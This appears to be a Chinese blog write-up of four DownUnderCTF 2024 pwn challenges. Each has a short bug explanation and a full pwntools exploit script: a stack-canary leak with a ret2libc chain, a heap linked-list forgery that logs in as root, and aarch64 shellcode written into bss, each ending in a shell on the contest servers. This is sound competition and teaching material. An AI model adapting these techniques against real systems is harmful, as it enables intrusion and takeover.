DownUnderCTF2024 - PWN

DownUnderCTF2024 - PWN

2024-07-10·CompetitionsPwnWriteUpCompetitions

DownUnderCTF2024 - PWN

???

又是一个摸摸的比赛… … … … … … … 但是难题难度不低,简单题也是真的送分。

正文

vector_overflow

之前做过一个C++ vector的堆题目。不知道为啥CTF那么喜欢出vector的堆题… …

读取buf的时候没有检测输入长度,直接修改vector的东西,劫持vector结构体的内容指针指向DUCTF这个字符串就行。 大致的结构体就是:

template typename xxx
class vector<xxx> {
protected:
	xxx* _M_start;
	xxx* _M_finish;
	xxx* _M_end_of_storage; 
}

EXP:

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('2024.ductf.dev',30013)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)     
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload=b"DUCTF\x00\x00\x00"+p64(0)+p64(0x4051e0)+p64(0x4051e5)+p64(0x4051e0)
p.send(payload)
p.interactive()

yawa

有栈溢出漏洞,有printf输出%s来输出没有被截断的内容。 直接打就行了。

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('2024.ductf.dev',30010)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.sendlineafter("Get a personalised greeting","1")
pause()
p.send('a'*0x59)
pause()
p.sendlineafter("Get a personalised greeting","2")

p.recvuntil(b'a'*0x58)
canary=u64(p.recv(8))-0x61
pause()
p.sendlineafter("Get a personalised greeting","1")
pause()
p.send('a'*0x68)
pause()

p.sendlineafter("Get a personalised greeting","2")
p.recvuntil(b'a'*0x68)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x762d44c29d90+0x762d44c00000
print(hex(libc_base))
# 
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x02be51
execv=libc_base+0x0EB080
pop_rdx2=0x11f2e7+libc_base
sh=libc_base+0x1d8678
payload=b'a'*0x58+p64(canary)+p64(libc_base+0x253000)+p64(pop_rdi)+p64(sh)+p64(libc_base+0x50D9C)+p64(libc_base+0x50D70)
pause()
p.sendlineafter("Get a personalised greeting","1")
# pause()
p.sendline(payload.ljust(0x88))
# gdb.attach(p)
# pause()
# p.sendafter("Get a personalised greeting","4")

p.interactive()

sign-in

登录到root用户就行了,但是root的密码是8字节随机数。

一个简单的堆,user的堆块之间用双链表进行链接,free掉chunk之后没有把chunk的next和prev指针清空,而且他malloc和free两个chunk的顺序就允许我们可以伪造链表,然后把bss上面存储的root用户账号密码的地址给低位覆盖为\x00\x00,指向的是一堆0x00的buf,就可以用8个\x00作为账号和密码登录到uid为0(root)的用户从而拿到shell

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('2024.ductf.dev',30022)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(name,pwd):
    p.sendlineafter("Get shell","1")
    p.sendafter("username:",name)
    p.sendafter("password:",pwd)
def signin(name,pwd):
    p.sendlineafter("Get shell","2")
    p.sendafter("username:",name)
    p.sendafter("password:",pwd)
def dele():
    p.sendlineafter("Get shell","3")
def shell():
    p.sendlineafter("Get shell","4")
    
def cleart():
    add("pwn1","pwn")
    add("pwn2","pwn")
    add("pwn3","pwn")
def fillt():
    signin('pwn1','pwn')
    dele()
    signin('pwn2','pwn')
    dele()
    signin('pwn3','pwn')
    dele()
target=0x4040b0-6-8
add("pwn",p64(target))
add("pwnx",p64(target))
cleart()

# add("pwnxx","pwn")
signin('pwnx',p64(target))
dele()
add("pwnxx",p64(target))
signin('pwnxx',p64(target))
dele()
tar1=0x4040c0
# gdb.attach(p)
# add("pwnxxx",p64(tar1))
signin(p64(0),p64(0))
# dele()
shell()
# add("pwnxxxx",p64(tar1))


p.interactive()

pac-shell

怎么说,做出来的第一个aarch64架构上面的PWN题目) 题目跑在qemu上面,特性就是忽略不可执行的保护,而且pie也相当于是没开的,所以我们就直接在bss上面写shellcode,然后ret到那里就行了。

但是调用函数的地方加了地址随机的保护,所以我们要先劫持bss上面那四个函数指针的除了help之外的一个为shellcode的地址,然后help查看经过随机化的地址,然后call那里就行了。

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='aarch64',os='linux')
context.terminal=['tmux','splitw','-h']

# pwn = ''
p=remote('2024.ductf.dev',30027)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process("qemu-aarch64 -g 1222 -L ./ ./pwn", shell = True)

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.recvuntil("help: 0x")
help64=int(p.recvuntil('\n'),16)
p.recvuntil('ls: 0x')
hack64=int(p.recvuntil('\n'),16)
p.recvuntil("read64: 0x")
read64=int(p.recvuntil('\n'),16)
p.recvuntil("write64: 0x")
write64=int(p.recvuntil('\n'),16)
print(hex(help64))
print(hex(hack64))
print(hex(read64))
print(hex(write64))

def read(addr):
    p.sendlineafter("pacsh>",str(hex(read64)))
    p.sendlineafter("read64> ",str(hex(addr)))
def write(addr,pay):
    p.sendlineafter("pacsh>",str(hex(write64)))
    p.sendlineafter("write64> ",str(hex(addr))+" "+str(hex(pay))[2:])

def hack():
    p.sendlineafter("pacsh>",str(hex(hack64)))
def help():
    p.sendlineafter("pacsh>",str(hex(help64)))

shellcode=asm(shellcraft.sh())
base=0x5500000000
read(base+0x11FB0)
# p.recv()
libc_base=int(p.recv(10),16)-0x0509D0
print(hex(libc_base))
# 0x0000000000069500 : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
gad=libc_base+0x69500
buf_st=base+0x12050+0x100
for i in range(0,len(shellcode),8):
    writ=shellcode[i:i+8]
    write(buf_st+i,bytes_to_long(writ[::-1]))
write(base+0x12028,buf_st)
help()
p.recvuntil('ls: 0x')
hack64=int(p.recvuntil('\n'),16)
hack()
# sp1 0x5501820e40 0x5501820e40

p.interactive()